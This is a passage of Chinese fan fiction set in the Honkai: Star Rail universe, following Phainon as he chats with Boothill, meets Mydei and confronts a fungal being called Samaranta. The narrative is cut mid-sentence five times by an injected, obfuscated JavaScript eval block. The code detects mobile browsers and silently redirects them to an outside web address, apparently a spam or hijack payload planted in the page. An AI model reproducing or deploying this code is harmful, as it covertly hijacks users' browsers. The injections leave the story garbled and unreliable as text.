“没有,”阿卡索尔边敲字边说,“星球主城邦的领袖没那么好见,但她的故事在翁法罗斯本地乃至周边星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119691|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系可算是沸沸扬扬,翁法罗斯本地对这位暴君毁誉参半,据说她本人的梦想一直是征服寰宇——挺常见的梦想,小时候我也这么想过。” “但是她不太一样,我是说,她好像是认真的,”阿卡索尔调出了几张图插入报告里,白厄重新又开始将文件归档,“翁法罗斯刚升格的时候,公司去过一趟,当时他们对翁法罗斯的评级不太高——也就是说,公司认为翁法罗斯在经济、政治、文化和科技方面,都远远落后于寰宇平均水平,需要援手和贷款,所以踏上那里的公司员工的层级也不会很高,我有个朋友曾经跟着参加了评估小组,当然他只去过一次,之后的评估工作由层级更高的大人物接手了,一方面因为翁法罗斯的科技水平要比之前预估的高了不少,还有一点是因为翁法罗斯表现出了相当的攻击性——比公司预想的要高得多。” “他们……做了什么?” 在漫长的岁月中,白厄并非未曾面见过那位所谓的暴君,在他看来,对方虽然野心勃勃,但绝非一言不合直接发难的人,倘若升格之后翁法罗斯由刻律德菈掌权,按理来说不应该在刚刚升格、未曾探清底细时,便表现出相当高的攻击性。如果硬要说的话,这听起来似乎更像某种生物体的应激。 “你说公司,还是翁法罗斯?” “两个都是。” “据不可靠小道消息,”阿卡索尔说,“似乎是公司的代表惹恼了翁法罗斯方面,毕竟一开始的评级不算很高,去的也只是我们筑材物流部的普通员工,当他们说着要将翁法罗斯上的一切资源献给琥珀王时,翁法罗斯随手将他们丢了出去,那滋味估计不好受,毕竟翁法罗斯当时刚刚升格,外面还笼罩着一圈相当强的毁灭力量,后来公司改换部门与翁法罗斯方面交接,剩下的我就不清楚了。” “但之前的事……您好像很清楚。” “没错,毕竟我们是一个部门的嘛,”阿卡索尔说,“有人在这件事上受了挺大的打击,回到公司就直接递交了离职申请书……所以一般出游还好,要是工作上要和翁法罗斯有交接……” “那还真有点头疼,感谢我们那几位傲慢的同僚开了个好头吧。”阿卡索尔打下了最后一个字,嘲讽地做出了最后的结论。 31. 《要断章取义》节选自《不要断章取义》 白厄拿着那本《翁法罗斯评估报告》看了很久,他听到舰外传来沙沙的雨声,其实货运舰可以完全隔绝外界声音,但白厄没觉得有什么必要开启这个功能,他看着新生的的翁法罗斯,摩挲着那些陌生又熟悉的地方的照片,没有黑潮,没有逐火的纷争,黎明云崖的石阶宽阔平整,白厄看到了某张照片上翁法罗斯的中心天体,那台黎明机器似乎已经变成了个常亮的装饰物,再也没有谁会为了维持它的明亮而被迫离群索居八百年,负世的天父看不清面貌,旁边的小字标注了翁法罗斯上流传的再创世的传说,传说因为每个公民都是再创世的主角,所以天父不需面容,他千人千相,每个人都能描绘自己心中的天父——谁也不知道刚刚新生的星球上究竟为何产生了时间不短的历史与文明。 对外完全开放的城邦只有奥赫玛,所以这本评估报告上并没有关于其他城邦的报告,白厄有点遗憾,他又翻了两遍这本不薄不厚的报告,想象着新生的翁法罗斯究竟会是什么样子,他想着想着,不自觉地微笑起来。 手机在这时响了一声。 【波提欧】:哎,无名客,睡了吗?我跟你说,最近这边可漂亮了,还有光幕,就是有点冷,嘶,下次来琴神星可得多穿点,看这个,嘿,这可特好看。 【波提欧】:【图片】 【白厄】:你好? 那边沉默了一会。 【波提欧】:宝了个贝的,发错人了,喵。 【波提欧】:上次走的匆忙,我让无名客把你联系方式推给我了,他应该也和你说了。 【波提欧】:你俩的聊天框有点近,我刚想给他发的,不过给你发了也没事,你看,琴神星,漂亮吧? 白厄点开了那张图,大片大片的金色如绸缎般在漆黑的夜幕中拔地而起,仿佛有谁将金色的太阳揉碎又洒下,波提欧的拍照手法不错,附近似乎还有片湖,粼粼的湖水倒映着金色的光,难怪会被称为光幕,他想虽然起点是个乌龙,但确实没法否认那里的风景真的很漂亮。 【白厄】:很漂亮,谢谢你。 话题到这本来该结束了,但波提欧似乎没说完,白厄看着那边的“对方正在输入……”闪了又闪,最后,巡海游侠的话还是发了过来。 【波提欧】:上次叫你公司走狗,咳,不好意思啊,我打听了一下,你跟他们也没什么关系,下次有空再见到你请你喝麦芽果汁赔罪。 【白厄】:没事,但是喝酒就算了,我不太擅长。 【波提欧】:咳,麦芽果汁,什么酒不酒的,兄弟你也太直白了,行吧,你也是个爽快人,等下次咱俩再见面再说。 【波提欧】:送你个免费情报,按时间来看你们现在在蘑菇星吧?不知道你知不知道,我猜蘑菇星上也有点东西,虽说你大概率碰不到,但是要是我猜的准,你又碰到了的话,建议你绕路走,那东西有点难缠。 【白厄】:什么? 【波提欧】:你想想啊,一群活化的蘑菇,莫名其妙地在这几十个琥珀纪里冒了出来,这可不遵循什么正经的进化理论,一般来说,事出反常,肯定有鬼! 【白厄】:你的意思是有什么东西促进了他们的活化……丰饶?是丰饶星神吗? 【波提欧】:要是丰饶星神的话,蘑菇星估计没那么温和,公司这傻宝地方也不会往那边运货,白厄兄弟,不过说起公司,我还是诚恳建议你到处逛逛,别一天天的和公司那帮宝贝东西混在一块。 【波提欧】:蘑菇星的事你自己有空想想,反正我也就提个醒。 【白厄】:谢谢,但我还是有个问题,为什么和我说我这些? 【波提欧】:半公开的秘密,说了也没什么,还有一点,前两天我和另一个哥们喝酒的时候,那哥们说自己要去那边找人,这都是我俩聊天的时候聊出来的,你要是碰见我那个哥们,记得帮他一把。 【白厄】:可以倒是可以,但方跃星还挺大的,我们不一定能碰见,你那位兄弟怎么称呼,长什么样子? 【波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119692|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提欧】:没事,碰到了顺便帮一把,碰不到就算了,他自己手段也不差,我这个哥们长得挺有特点,一头金毛,不穿上衣,一身红纹身,你要是见了面肯定他宝了个贝的能认出来。 等等,这个形容…… 【白厄】:……我多嘴问一句,你那个兄弟,不会叫万敌吧? 【波提欧】:怎么,这你也认识?宝了个贝的咱俩认识的人重合度还挺高。 【波提欧】:哦对,我想起来了,他也是翁法罗斯本地人,你俩认识不奇怪……也不对啊,你们翁法罗斯这么小吗?全翁法罗斯的人难不成都彼此认识? 【白厄】:确实很巧…… 【波提欧】:这叫什么来着,白厄兄弟?什么,按仙舟俗语来说的话,人生何处不认识是吧,行了,我看时间也挺晚了,再见吧白厄兄弟,咱们有空再聊。 仙舟真的有这种俗语吗? 放下手机,白厄陷入了沉思,对面的波提欧倒是干净利落地下了线,如果蘑菇们并非经历漫长的自然演化,而是被什么东西催生,那他们信仰丰饶似乎不足为奇…… 这里难不成有个隐藏的丰饶令使? 但今天确实已经很晚了,就算真的有问题要解决倒应该也不是今天能解决的问题,他躺在床上,莫名感觉自己似乎有点饿,但饥饿感的来源仿佛并非消化器官,而是某种更深层的、更隐秘的期待,白厄一时间有点摸不着头脑,却也总觉得明天再解决也来得及。他不知不觉间陷入了梦中,梦中的场景切换变化,是熟悉的噩梦,但今天的视角似乎和之前有些不同,之前他或者面对着同伴警惕的目光,或者被同伴揪住衣领,但今天他的视角更像是从某个遥远的上空旁观,声音似乎也变得渺远不清。 也许是因为刚刚睡前谈及了万敌,他在梦中见到了那位悬锋的王储,但他眼眸低垂,神色冷淡,他张口言语,吐出模糊的音节。 “翁法罗斯……不需要……” “救世主……” 32. 摸鱼旷工 他那时如何回答那个问题?在漫天的血色里,在近乎无限的火光中,他是无知无觉的幽灵,他是无形无相的数据,他如何回答迈德漠斯?他如何回答他所信赖的同伴们? 他说…… 他说…… 他说,没关系,这一切本该…… 梦境在这里陡然中断,仿佛被谁按下终止符。他猛地睁开了眼睛,大口大口地喘着气,方跃星的雨暂时停了下来,也许这里并非一直阴雨连绵——这不奇怪,即使是蘑菇,估计也没法忍受永远不停的雨天,手机发出了微弱的光,现在是方跃星上的凌晨四点,他上下划了划,意外地发现那刻夏老师在五分钟前给他发了条信息。 【那刻夏老师】:你的下一站是方跃星?你现在在那里吗? 【那刻夏老师】:尽快去找点蕴含毁灭能量的东西,然后吸收掉它。 【那刻夏老师】:先别问为什么,这也只是权宜之计。 毁灭? 白厄从早醒的浑浑噩噩中懵了半晌,好不容易才反应过来那刻夏话语中的意思,虽然有点疑惑,但那刻夏假如会说“先别问为什么”,事态大约是真的很紧急,尽管听上去那刻夏老师让他做的事似乎有点离谱,但他信任那刻夏老师的判断。头仍然很痛,饥饿感有增无减,他几乎被本能驱使着离开货运舰,却在接触到外面潮湿的空气时猛然惊醒。 我这是要去哪?他想。 地上鼓起了个小小的土包,白厄对此并不陌生,大概率这里要有蘑菇破土而出——钻地真的是个很方便的技能,果然,不出他所料,下一秒,硕大的菌菇盖探出了个头,一双圆溜溜的眼睛盯住了他。 “你好,”那蘑菇脆生生地说,“妈妈想见你。” “不去。”白厄相当果断地拒绝了他。 他现在的状态并不好,他不知道这蘑菇嘴里的妈妈是谁,他也不需要知道,无论蘑菇是什么样的生物,傻子才会相信他们之间的相遇是个纯粹的巧合——谁家蘑菇半夜四点不睡觉在星际和平公司的货运舱旁边转悠,加上那刻夏老师明明一直没什么动静,却又突然间问及他在哪,当得知他在方跃星后要求他尽快去找点蕴含毁灭能量的东西,以他现在的状态,他不得不强打精神,将一切未知视为不友好的存在,现在让他去见什么“妈妈”——总觉得这蘑菇没安好心。 但出乎他的意料,蘑菇并未纠缠,他只是很快地缩了回去,连菌盖都一瞬间缩进了土壤里。 毁灭…… 初来方跃星,他确实没感受到这地方有任何毁灭的力量来源,这很奇怪,虽说没有毁灭的侵袭是件好事,但这里未免有点太安静了—— “现在,请大家思考一个问题,”他突然想起他在神悟树庭求学时某位老师的高谈阔论,那节课是选修课,教室里的大家昏昏欲睡,空气中隐约传来不知名的虫鸣,而那位老师仍然激情澎湃,“如果我们发现一大片区域,这片区域很神奇,这里只有大地兽,而完全没有其他任何生物,那么,这说明什么问题?” “说明大地兽是优势种群。”有个同学打着哈欠说。 “错!”那老师慷慨激昂地说,“说明这里是阿那克萨戈拉斯的私人花园!” 教室里传来一阵哄笑声,连沉闷的气氛都一扫而空,等到大家都笑够了,老师才接着说。 “在自然界中,即使是优势种群,也不会完全占据某一片地方,除非有某种外界因素人为地介入,而对于大地兽而言,介入的存在,毫无疑问会是阿那克萨戈拉斯——没什么别的人会做这种无聊的事情了。 过于安静,似乎并不是什么好事,白厄开始思考,似乎方跃星的一切都过于平和,即便是交通枢纽阿特拉斯,似乎也会在某处地方存在一些不痛不痒的侵袭,大家同样处于一个星系之内,方跃星何以如此稳定?方跃星的蘑菇们又凭什么看上去不谙世事? 仅凭单纯与天真,恐怕没法在宇宙间生存。 和他们所信仰的大地之母有关?这里会不会有什么令普通的虚卒不敢贸然上前的东西? 头越来越痛,他不知道这种感觉是否只针对他一个人,但现在的时间太早,货运舰似乎也并无异样,当他离开时,他能感觉到其他人仍然陷在深邃的深眠中,他闭着眼睛感受了一下,仍然什么都没有。 这里太安静了。 他下意识地向前走了几步,土层细密绵软无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119693|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,前方又冒出个小小的鼓包,刚刚的蘑菇去而复返。 “妈妈说,你真的不来吗?” “不去。”白厄说。 “哦……那好吧,”那蘑菇看上去有点失落,他手一扬,一张小纸条冒了出来。 “当他说不去的时候,请念出以下词句,”那蘑菇念念有词,“毁灭毁灭的令使呀,为何不来见见我呢?我并无恶意,如果你向我提问,我还会做出回答。” “那也不去。”白厄冷淡地说。 在别人的地盘上随意动手并不是什么好事,一方面,他的状态不佳,附近也没什么毁灭的能量来源,另一方面,有波提欧的提醒在前,白厄并不觉得以这种状态去见这蘑菇的所谓妈妈很安全,结果蘑菇被拒绝了,倒也不恼,他拿出了张更大的小纸条。 “如果他攻击你,躲到地里,躲到妈妈的怀抱里,如果他只说不去,没有攻击的意愿,请念出以下词句,括号,这句不用念。” 白厄:“……” 他突然改主意了,一个会把括号念出来的蘑菇能有什么坏心思呢,他倒要听听这蘑菇有何高见。 “或迟或早,我们终会相见,毕竟如果不来见我,对于你来说,离开方跃星可能会是件很困难的事情,同样的,我也有点事情想问你,如果你实在不想来,我也不会强求。” “这是你那位妈妈的威胁?”白厄的眼神冷了下来。 他没动手——再没风度,他总也不至于对着个传话的蘑菇撒气,可对这蘑菇身后的“妈妈”,他的忌惮之心愈发浓重,今天早上发生的一切有些过于诡异,他一时间开始思考到底要不要尽快离开这里,但以他这种状态强行离开方跃星的话…… 蘑菇歪了歪头,眼神看上去相当清澈,他似乎没意识到对面的人类已经有点生气,正筹谋犹疑着要不要趁状态没糟糕到极点提前对他的“妈妈”出手。 “如果他还是不来,你就说,‘那好吧’,然后离开就好,你的任务完成了……任务完成了,好耶!” 蘑菇念着念着,突然意识到了什么,他欢天喜地,拔腿就跑。 白厄:“……” 这群蘑菇真的没问题吗? 33. 堂堂正正的抬起头 那种奇怪的、源自更深层次的悸动与诱惑有增无减,他甚至有一瞬间想过要不要追随本能而去,但他下意识地向前走了两步,却又生生止住了步伐,方跃星这处看似毫无毁灭能量的地方究竟会有什么吸引他?以他现在的状态,他并不敢去赌那种东西所在的地方没什么陷阱在等着他,一切似乎都不可信,他想了想,不得不承认,在陌生的地方,现在对他而言,最安全的地方,居然是货运舰的车厢。 其实星际和平公司同样并不可信,但货运舰上的三个人是已知,方跃星上所要面对的反而是未知,也可能情况没那么糟糕,休息一下之后,他的状态也许会好一点。短暂的思考后,他又重新打开了货运舰的车厢—— 有谁在他身后,拍了拍他的肩膀。 在此之前,他竟然毫无察觉,他猛然回头,另一只手已经按在了侵晨的剑柄上,却在发现来人究竟是谁的时候松了口气,一头张扬的金发昭示着来人的身份,只不过那人现在的表情算不上好。 “万敌。”他松了口气。 就算状态再差,以他的眼力,也能认出这位是货真价实的万敌,但他也有点疑惑,倘若要说万敌只是碰巧路过,没人能相信这件事,但如果说他是来找他的……那这定位未免有点准得离谱了。 “警戒性太差了,救世……”万敌皱着眉头,却在说到一半时硬生生停了下来,这让他看上去有点像被掐住脖子的奇美拉,看得白厄忍不住想笑,金发的王储上上下下看了他半天,神情活像他们第一次认识。 “……脸色怎么这么差?”憋了半天,万敌才又说。 他似乎不擅长这种关心的言辞,这话说的相当别扭,但白厄突然注意到他的头发上蒙着一团氤氲的水珠,身上也是湿漉漉的,方跃星的雨刚刚止歇,以万敌的能力与性格都不会让雨一直裹在身上,所以现在似乎只有一个答案——他大概率是风雨兼程、一刻不歇地来到了这里。 不过他想,这种猜想倒是不用说了。 “……我没事。”他说。 他随手关上了货运舰的门——清晨的风还是有点冷,他并不愿打扰货运舰上其他人的安睡。 “HKS。”万敌低声骂了一句,他凑了上来,无视白厄的抗议,试了试他的额温。 “你发烧了。”他说。 下一刻,他随手又扯开了货运舰的门——是我没关紧门?白厄第一次产生了对自己的疑惑——大步流星地拉着白厄走了进去。 “货运舰上有……” 他本来想说货运舰上有安保措施,结果说到一半又停了下来,他想起波提欧来过之后,货运舰上不少设备似乎都因为摄像头的失灵而失灵,可能那摄像头也不是什么简单东西,阿卡索尔的保险申报不知道到了哪个流程,但十五个领导审批总不可能短短三天完成,也就是说,现在的货运舰安保力量……还真挺空虚。 尽管这样,他还是记得自己的工作职责。 “我毕竟是货运舰的护卫……”他挣扎着说。 “怎么,”万敌冷笑,“你们的货运舰穷的连个会客室都没有?” 文书室的灯不知道什么时候又亮了起来,想都不用想,多半是阿卡索尔正在加班,他想用眼神示意万敌稍微轻点,至少别打扰自己这位倒霉的加班同僚,结果转头一看,万敌倒是挺不把自己当外人,他如入无人之境般打开了货运舰的冰箱,又拿出两瓶冰镇饮料,随手甩给他一瓶。 “你房间在哪?”他轻车熟路地问。 “……” 别的不说,这位是真的不把自己当外人,白厄指了指房间门,万敌皱了皱眉头,悄无声息地打开了门。 “我还以为……你会用踹的。”白厄说。 万敌默然无语,但也许是顾及白厄现在的状态,他盯了他半天,还是把到嘴边的话咽了下去。 “没有冰袋,这个你先将就着用,”万敌说,他上上下下里里外外地看,似乎看哪都不满意,悬锋城的王储从来不算养尊处优,相反,这家伙无论何时都一副“战士自应经受磨炼,体魄的磨炼也是意志的锤炼”的态度,一想到条件不算差的货运舰被这位磨其体魄的战士嫌弃成这个样子,白厄就忍不住有点想笑,万敌一回头,就见这家伙眼神里憋不住的笑意,一般来讲,他出现这种表情,通常表示这家伙没什么好心思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119694|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万敌没觉得自己宽宏大量,但和病号计较显然也不在悬锋城的字典上——也不在新修的悬锋字典上,他忍气吞声地又塞给病号一瓶液体,理所当然地命令道。 “喝了它。” 虽说那刻夏老师告诉他不要乱喝东西,可万敌手里接过来的东西,白厄自然没什么不敢喝的,他向瓶子里看了看,瓶子里的液体看不出颜色,闻了闻,也没什么奇怪的味道,他一饮而尽,似乎没什么其他的感觉。 “你不会是给我喝了……爆炸果果汁?”他尝试着开了个玩笑。 万敌仍然皱眉看着他,他的眉头似乎自从他们相见就没展开过,他憋了好半天,才又说。 “不想笑可以不用笑。” 如果这话是别人说的,白厄多半要怀疑这人在嘲讽自己,可说话的人是万敌,这人向来直来直去,多半没什么嘲讽的念头,白厄看了他半晌,末了,认命地叹了口气,敛起了笑意。 他安静地坐了下来,一言不发,他该对万敌说些什么呢?对不起?他可耻地辜负了他的信任,将侵晨刺入他的腰椎,侵晨刺入骨缝时会发出奇异的摩擦声,金色的血会顺着剑身流下,但万敌永远挺直身姿,永远迈步向前,永远会一次一次地冲向他,最后……祝他常战常胜。 三千万次,次次如此。 “看你那个表情就知道你又想乱七八糟的事了,玻璃心的救世主。”万敌说,他斜倚在椅子上,一只手搭上了椅子的边缘,“你不用把事情想得太复杂,等你身体好一点,我们打一架。” “我……” “看你那个软弱的表情,你该不会想说对不起吧?”万敌嗤笑了一声,“你既然堂堂正正地击败了我,便不必摆出那种表情。” “还有一件事。”万敌又说。 “悬锋城的字典又少字了?”白厄试图开个玩笑糊弄过去。 “我从未后悔将弱点交托于你,救世主。”万敌却不接他的话茬,他认真地看着他,“即使是现在,即使是今天,我的态度仍然未变,所有其他多余的愧疚或是歉意,都不过是对战士的侮辱。” “抬起头来,你从未亏欠翁法罗斯。” 34. 人类真奇怪 他应该说些什么呢?他看着万敌,想要说点什么,喉头却似被什么堵住,他曾可耻地利用他的信任,将剑刺入他唯一的弱点,辩论赛冠军巧舌如簧的舌头此时吐不出一个字,万敌说完那句话便再无言语——他与万敌相交多年,无论是在奥赫玛时期,抑或从银枝只言片语中透露的巡海游侠的身姿,都能看出这人从来不乏耐心与直觉,一时间房间里没什么声响,静的只能听见呼吸声。 许久之后,万敌再次开口,他拄着下巴,表情相当耐人寻味。 “你该不会是要哭了吧?软弱的救世主?” “没这回事,我看你才像要哭。”白厄下意识地反驳。 万敌笑了一声,拍了拍手。 “感觉好点了吗?” 被他这么一说,白厄才恍然觉得自己的状态似乎真的好了不少,起码那种周身环绕的饥渴感暂时减轻了,见他点头,万敌起身。 “好点了就走吧。”他简短地说。 “去哪?” “抓蘑菇。”万敌掰了掰手腕,“刚才那个什么蘑菇的妈妈不是说不去见她出不了方跃星吗?总得去看看怎么回事才能放心。” “你听到了?” “嗯,”万敌随口答应,“我的耳力没那么差。” “但我仍然觉得……他不一定可靠,”白厄说,“虽然传话的蘑菇……应该没什么恶意,但我总……有种奇怪的感觉……” “这些蘑菇不是自然演化产生的生物,”万敌肯定地说,“之前我来过这里,和他们有过一点交流,但那些蘑菇从来没有和我提到过所谓的‘妈妈’,这次她突然出现,又指名道姓地要见你,我怀疑她手上恐怕有什么东西。” “……好。” 白厄沉默了一下,还是应了下来。虽然有点奇怪于万敌急迫的态度,但他自信万敌不会害他,于是他稍微思考了一下,也站起了身。 “注意安全。” “这还用你说?”万敌笑了一声,“走吧,看看那个蘑菇还会不会来……我们去会会他那个‘妈妈’。” 主意改的太快的确让人有点头疼,白厄想,毕竟刚刚自己拒绝得那么果断,早知道让那蘑菇留个联系方式好了,但以刚刚自己的状态,加上身边没有任何帮手的情况下,他还真不太想去见那个所谓的“妈妈”––即使是现在,他的意愿也没那么紧迫。 但万敌做事总会有他的理由在,想到这,白厄倒也不再多想,他们轻手轻脚地打开了货运舱,看到刚刚的蘑菇又去而复返。 “这次真的是最后一次啦,”那蘑菇兴致勃勃地说,“妈妈说,‘我没什么恶意,只是有些事情想要确认,既然你和这位巡猎的命途行者已经相遇,你总该有勇气见我一见。’” 白厄和万敌对视一眼,眼神里是藏不住的惊讶。 “好。”白厄说。 “如果他再拒绝的话……诶诶诶你怎么同意了?”蘑菇震惊,他兴致勃勃的表情一下消失了,开始小小声地碎碎念。 “这应该算加班了吧……” “你说什么?”万敌问。 “没没没我说我们走吧,”蘑菇慌张地摆了摆根须,“这边请。” 伴随着他的话音落下,地面突然出现了个洞,白厄万敌躲闪不及,直接撞进了洞里,虽说他们很快稳住了身形,但这带路方式还真是让人……猝不及防。 “……这算请吗?”白厄沉默了一下。 他总怀疑这蘑菇或多或少有点公报私仇。 洞内没什么光,蘑菇不语,只是一味带路,他的蘑菇菌盖一闪一闪,充当了洞里唯一的光源,四周漆黑一片,即使以他们的眼力都看不清太多东西,附近黑得有点不同寻常,脚下踩着的不像坚实的地面,倒像是某种柔软的组织,地面柔软、粘腻、湿滑,起起伏伏,似乎还在动。 “你说的那位‘妈妈’在哪?”又走了一段,万敌问道。 “妈妈吗?”蘑菇有点惊奇,“你们现在不是正踩在妈妈身上吗?” 白厄悚然一惊,脚下那种奇异的粘腻湿滑感顿时有了答案,如果他们正踩在某种生物的身上,那么一切似乎都解释得通,而从他们进洞开始,大约已经走了一个系统时,这一个系统时内,地面环境几乎没发生任何变化——如果这蘑菇所言非虚的话,他这位“妈妈”恐怕不是一般的大。 白厄看了一眼万敌的神色,借着微光,他能看到万敌似乎正在皱眉思索着什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119695|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蘑菇在前面突然加快了脚步,而后,他话语轻快,语调上扬。 “妈妈,他们来了!” 四周突然有流光绽放,密密麻麻的根须宛如巨大的触须盘踞。一双又一双“眼睛”睁开,蘑菇说完这句话便高高兴兴地离开了这里,全然不顾访客震撼的心情。 “欢迎你们,”当蘑菇离开后,“妈妈”缓缓开口,那声音听上去相当清脆,仿佛只是个天真无邪的小女孩,“毁灭毁灭的令使,和那位来过几次,似乎一直想找我的巡海游侠。” “你不止来过这里一次?”白厄敏锐地抓住了重点。 “嗯。”万敌说,他并未在这里做出过多的解释,只是仰起头,直视那蘑菇巨大的、以复数计的眼睛。 “按照人类的礼仪,我似乎应该先自我介绍,” “妈妈”说,“你们好,我是萨玛兰妲。” “我是哀丽秘榭的白厄,他是悬锋城的万敌,”白厄说,“按刚刚的……带路者的说法,我们可以……向你发问,你也有问题……要问我们,对吗?” “是的,”萨玛兰妲说,“一个问题换一个问题,你可以先发问。” “我想问,”白厄说,“你为何称我为‘毁灭毁灭的令使’?” 萨玛兰妲安静了一瞬,接着,她慢吞吞地开口。 “哀丽密榭的白厄,萨玛兰妲在此回答你的第一个问题。对于你来说,你是‘毁灭毁灭的令使’,就像你是‘哀丽秘榭的白厄’一样,只是一个性质和定义,通常情况下,蒙受星神垂青的生物,可以在星神应许下汲取命途能量,卷起侵蚀海岸的巨浪,这种存在被称为‘令使’……不过这个你应该知道,并且你已经做出了选择。” “但我不记得……我选择过……成为纳努克的令使。”白厄皱眉。 他的话语被萨玛兰妲清脆的笑声打断了。 “纵然早已将那份力量燃烧,可你不是在某一个瞬间接受过它吗?”萨玛兰妲问,“以毁灭星神赐下的烬灭金血构成自己的骨肉血,又将这份力量转变为纯正的能量燃烧成星球生命升格的基石,现在你反倒要问自己为什么是‘毁灭毁灭的令使’?” “人类,好奇怪啊。”笑了一会儿,她才总结道。 35. 你好,我找持明龙尊 “星神的赐福一体两面,即是恩赐也是诅咒,”萨玛兰妲说,“那么,萨玛兰妲的第一个问题回答结束,轮到萨玛兰妲发问。” “令使和游侠,你们是否见过罗浮仙舟的持明龙尊呢?”萨玛兰妲慢慢地问,“我曾见到他与你们并肩作战的身影,时至今日,他仍然是罗浮的持明龙尊吗?倘或我想要感谢他,又该如何与他联系呢?” “我们似乎并不认识罗浮的持明龙尊,”万敌说,他看起来有点奇怪,“所谓‘曾见过我们并肩作战的身影,具体又是什么时候发生的事?” “这个呀……”萨玛兰妲说,“天外的列车坠毁于古老的遗迹,其上之人,难道没有那位来自罗浮的持明龙尊?” 说着说着,连她的语气里也带了点怀疑,“难道你们竟毫不知情,可他又分明是持明龙尊的模样。” “我打断一下,”白厄说,“你的情报源是哪里?” “哦,令使,我读了你的记忆。”萨玛兰妲说。 白厄:“……” 这事儿现在也能这么堂而皇之地说出口吗? 似乎觉察到他有些疑惑的眼神,萨玛兰妲继续慢慢悠悠。 “你也可以读萨玛兰妲的,毕竟方跃星的大家一直可以共享记忆……人类不喜欢这种事情吗?” “那好,怎么读?” 白厄并不打算放过这个机会,既然萨玛兰妲坦言读过自己的记忆,看上去又似乎毫不在意同样的事发生在她的身上,他自然却之不恭,萨玛兰妲几只眼睛张张合合,仿佛在思考,又过了一会儿,她才说。 “你可以把菌丝缠绕到萨玛兰妲的根须上,这样我们就能共享彼此的记忆。” 我哪来的菌丝,白厄笑了一下。似乎看出了他的想法,萨玛兰妲相当热心地提供了另一条路。 “或者你现在转记忆命途,也能读取萨玛兰妲的记忆。” “命途还能转?”白厄精神振奋。 “萨玛兰妲开玩笑的。”萨玛兰妲说。 ……这蘑菇什么毛病! “似乎人类的沟通方式里需要一部分玩笑润滑,”萨玛兰妲看着白厄和万敌的表情,认真地照本宣科,“所以萨玛兰妲选择在这个时候插入一个玩笑,现在看来,效果似乎并不好。” 白厄:“……” 万敌:“……” “……哪句开始是玩笑?”沉默了一会儿,白厄问道。 “哦,”萨玛兰妲眼睛闪闪,“从转命途那句开始,如果你想听,萨玛兰妲还有其他玩笑话……” “先别开玩笑了,萨玛兰妲……女士?”白厄试探着问,萨玛兰妲并未否认这个称呼,于是对话得以顺利进行下去,“你通过孢子……读取了我的记忆?抑或是……通过菌丝?” “通过烬灭金血,令使,”萨玛兰妲说,她叹了口气,“说到这个,你可真是给我们出了个难题呀。” 一团菌丝突然出现在他的面前,金色的液体在其中粲然闪光,萨玛兰妲看了一眼,相当嫌弃地闭上了她所有的眼睛。 “那天这东西飘得到处都是,要不是萨玛兰妲醒得快,这些东西怕是要给方跃星撞出几个口子,”萨玛兰妲说,提到这个,她一直温和的语气里也隐约带了点不满,“就算是能量烧尽也不能像丢垃圾一样到处乱丢呀。 “……抱歉。”白厄说。 “算了,”萨玛兰妲意兴阑珊地说,“毕竟你们那时候也控制不住,拿走吧,毕竟是你的血肉,我们这里已经有一个令使血肉了,萨玛兰妲可不想再来第二个。” 随着她的话语声落下,那团金色的液体失去了菌丝的支撑,灵活地钻进了白厄的身躯里,似乎有什么东西一并进入他的脑海,他一时间有点晕,身边的万敌一把扶住了他。 